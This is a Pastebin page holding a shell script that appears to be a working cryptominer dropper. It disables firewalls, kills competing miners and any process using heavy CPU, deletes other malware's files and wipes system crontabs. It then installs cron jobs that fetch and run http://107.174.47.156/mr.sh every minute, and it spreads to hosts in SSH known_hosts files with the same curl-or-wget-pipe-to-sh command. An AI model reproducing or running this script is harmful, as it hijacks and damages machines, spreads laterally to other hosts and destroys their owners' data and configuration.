SHARE
TWEET

ldm

a guest Aug 16th, 2019 38 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/sh
  2. mkdir /var/tmp
  3. echo -e "\n0.0.0.0 pastebin.com" >> /etc/hosts
  4. chmod 777 /var/tmp/kworkerds
  5. touch /etc/ld.so.preload
  6. chattr -i /usr/bin/wget
  7. chmod 755 /usr/bin/wget
  8. chattr -i /usr/bin/curl
  9. chmod 755 /usr/bin/curl
  10. /etc/init.d/iptables stop
  11. service iptables stop
  12. SuSEfirewall2 stop
  13. reSuSEfirewall2 stop
  14. pkill -f sysxlj
  15. pkill -f jourxlv
  16. pkill -f sustes
  17. touch /etc/ld.so.preload
  18. netstat -antp | grep '56415' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  19. netstat -antp | grep '139.99.120.75' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  20. rm -rf /usr/lib/void.so
  21. rm -rf /etc/voidonce.sh
  22. rm -rf /usr/local/lib/libjdk.so
  23. rm -rf /usr/local/lib/libntp.so
  24. ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9
  25. sed -i '$d' /etc/crontab
  26. rm -rf /lib64/library1.so
  27. rm -rf /usr/lib64/library1.so
  28. iptables -I OUTPUT -s 167.99.166.61 -j DROP
  29. iptables -I INPUT -s 167.99.166.61 -j DROP
  30. iptables -I OUTPUT -p tcp -m string --string "pastebin" --algo bm -j DROP
  31. iptables -I OUTPUT -p udp -m string --string "pastebin" --algo kmp -j DROP
  32. rm -rf /etc/cron.monthly/oanacroner
  33. rm -rf /etc/cron.daily/oanacroner
  34. rm -rf /etc/cron.hourly/oanacroner
  35. rm -rf /usr/local/bin/dns
  36. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  37.   for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL http://107.174.47.156/mr.sh||wget -q -O- http://107.174.47.156/mr.sh)|sh >/dev/null 2>&1 &' & done
  38. fi
  39.  
  40. for file in /home/*
  41. do
  42.     if test -d $file
  43.     then
  44.         if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
  45.             for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL http://107.174.47.156/mr.sh||wget -q -O- http://107.174.47.156/mr.sh)|sh >/dev/null 2>&1 &' & done
  46.         fi
  47.     fi
  48. done
  49. echo "" > /etc/crontab
  50. echo "" > /etc/cron.d/root
  51. echo "" > /etc/cron.d/apache
  52. echo "" > /var/spool/cron/root
  53. echo "" > /var/spool/cron/crontabs/root
  54. chkconfig --del netdns
  55. pkill -f netdns
  56. echo "" > /etc/cron.d/system
  57. chmod 777 /var/tmp
  58. rm -rf /usr/local/bin/dns
  59. rm -rf /usr/sbin/netdns
  60. rm -rf /etc/init.d/netdns
  61. rm -rf /etc/cron.monthly/oanacroner
  62. rm -rf /etc/cron.daily/oanacroner
  63. rm -rf /etc/cron.hourly/oanacroner
  64. chattr -i /usr/local/lib/libntpd.so
  65. chmod 777 /usr/local/lib/libntpd.so
  66. rm -rf /usr/local/lib/libntpd.so
  67. sed -i '/libntpd.so/d'  /etc/ld.so.preload
  68. crontab -l | sed '/pastebin.com/d' | crontab -
  69. netstat -antp | grep '27.155.87.59\|51.38.133.232' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  70. netstat -antp | grep '27.155.87.59\|51.38.133.232' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  71. netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13\|51.38.133.232' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  72. netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13\|51.38.133.232' | grep 'CLOSE_WAIT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  73. netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13\|51.38.133.232' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  74. netstat -antp | grep '121.18.238.56\|51.38.133.232' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  75. netstat -antp | grep '121.18.238.56\|51.38.133.232' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  76. netstat -antp | grep '103.99.115.220\|51.38.133.232' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  77. netstat -antp | grep '103.99.115.220\|51.38.133.232' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  78. pkill -f /usr/bin/.sshd
  79. netstat -antp | grep '202.144.193.110:3333\|51.38.133.232'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  80. rm -rf /var/tmp/j*
  81. rm -rf /tmp/j*
  82. rm -rf /var/tmp/java
  83. rm -rf /tmp/java
  84. rm -rf /var/tmp/java2
  85. rm -rf /tmp/java2
  86. rm -rf /var/tmp/java*
  87. rm -rf /tmp/java*
  88. chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
  89. chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
  90. rm -rf /etc/rc.d/rc*.d/S01nfstruncate /bin/nfstruncate
  91. rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
  92. rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
  93. rm -rf /tmp/*index_bak*
  94. rm -rf /tmp/*httpd.conf*
  95. rm -rf /tmp/*httpd.conf
  96. echo -e "*/1 * * * * root (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /etc/cron.d/root
  97. echo -e "*/2 * * * * root (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /etc/cron.d/apache
  98. echo -e "*/30 * * * *   (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /var/spool/cron/root
  99. mkdir -p /var/spool/cron/crontabs
  100. echo -e "* * * * *      (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /var/spool/cron/crontabs/root
  101. mkdir -p /etc/cron.hourly
  102. (curl -fsSL --connect-timeout 120 http://107.174.47.156/11 -o /etc/cron.hourly/oanacroner1||http://107.174.47.156/11 -O /etc/cron.hourly/oanacroner1) && chmod 755 /etc/cron.hourly/oanacroner1
  103. rm -rf /tmp/a7b104c270
  104. rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
  105. rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
  106. netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  107. chmod 777 /var/tmp/sustse
  108. ps aux | grep -vw 'kworkerds\|sustse' | awk '{if($3>30.0) print $2}' | while read procid
  109. do
  110. kill -9 $procid
  111. done
  112. ps ax | grep /tmp/ | grep -v grep | grep -v 'kworkerds\|sustse\|kworkerds\|sustse\|ppl' | awk '{print $1}' | xargs kill -9
  113. ps ax | grep 'wc.conf\|wq.conf\|wm.conf' | grep -v grep | grep -v 'kworkerds\|sustse\|kworkerds\|sustse\|ppl' | awk '{print $1}' | xargs kill -9
  114. netstat -ant|grep '185.161.70.34:3333\|154.16.67.133:80\|205.185.122.99:3333'|grep 'ESTABLISHED'|grep -v grep
  115. if [ $? -eq 0 ]
  116. then
  117. pwd
  118. else
  119. curl -s http://107.174.47.156/2mr.sh | bash -sh || wget -q -O - http://107.174.47.156/2mr.sh | bash -sh
  120. fi
  121. sleep 2
  122. if crontab -l | grep -q "107.174.47.156"
  123. then
  124.     echo "Cron exists"
  125. else
  126.     crontab -r
  127.     echo "Cron not found"
  128.     LDR="wget -q -O -"
  129.     if [ -s /usr/bin/curl ];
  130.     then
  131.         LDR="curl";
  132.     fi
  133.     if [ -s /usr/bin/wget ];
  134.     then
  135.         LDR="wget -q -O -";
  136.     fi
  137.         (crontab -l 2>/dev/null; echo "* * * * * $LDR http://107.174.47.156/mr.sh | bash -sh > /dev/null 2>&1")| crontab -
  138. fi
  139. rm -rf /var/tmp/jrm
  140. rm -rf /tmp/jrm
  141. pkill -f 185.222.210.59
  142. pkill -f 95.142.40.81
  143. pkill -f 192.99.142.232
  144. chmod 777 /var/tmp/sustse
  145. crontab -l | sed '/185.222.210.59/d' | crontab -
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top